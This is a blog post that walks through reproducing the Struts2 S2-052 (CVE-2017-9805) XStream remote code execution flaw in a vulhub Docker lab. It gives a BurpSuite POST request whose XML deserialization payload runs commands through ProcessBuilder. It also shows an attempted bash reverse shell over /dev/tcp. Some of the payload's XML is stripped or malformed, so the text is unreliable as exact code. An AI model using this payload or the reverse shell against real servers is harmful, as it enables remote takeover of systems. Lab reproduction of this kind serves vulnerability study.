Recurrence of struts 2-052 vulnerability



The application of struts 2 is full of holes. Recently, I suddenly thought about studying the relevant principles and utilization. s2-052 vulnerability is caused by lgtm Com security researcher reported that CVE-2017-9805 is a remote command execution vulnerability with a Critical degree of vulnerability. When users use the Struts REST plug-in with XStream program to process XML payloads, they may be attacked by remote code execution.

Affected version: struts version 2.5.12, Baidu said it also affected version 2.3.33.

1. Environmental construction

This reproduction adopts ubuntu system and docker deployment environment. Let's discuss the following problems encountered in the process of environment deployment and.

Please check the following connection for details. Note the difference between docker and docker compose of Linux.

Please execute the following commands to build the shooting range environment

apt install git docker-compose

git clone

cd vulhub/struts2/s2-052/

docker-compose build

docker-compose up -d

be careful:

An error may be reported during the last step: failed to start docker service: Unit docker. service is masked.


systemctl unmask docker.service

systemctl unmask docker.socket

systemctl start docker.service

2.s2-052 reproduction

Check whether the environment is successfully deployed according to the operation in the first step, and access the relevant address of the environment, as shown in the screenshot.

Use the BurpSiute tool to launch the payload to the target server. For detailed POST data and matters needing attention, please see the following code block,

POST /orders HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml  # This field needs to be added to the packet header
Content-Length: 2414
Cookie: JSESSIONID=CF855BF35B5C60451837EEC2B4830419
Connection: close
Upgrade-Insecure-Requests: 1

       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
           <dataSource class="$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
<string>touch</string>   # Execute command
<string>/tmp/s2-052test.txt</string> # Execute command
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                   <next class="string">foo</next>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

http header information

Add the command to be executed to the command field

Check the server results

 3.POC study

During the experiment, I tried to execute other commands, but it seems that the vulnerability is not echoed. After further exploration, I found that the tag of the executed command cannot be filled in at will.


Try to execute the command shell.

<string>bash -i >&amp;/dev/tcp/ 0>&amp;1</string>

Reference connection:

Tags: security

Posted by cyberRobot on Wed, 11 May 2022 11:27:58 +0300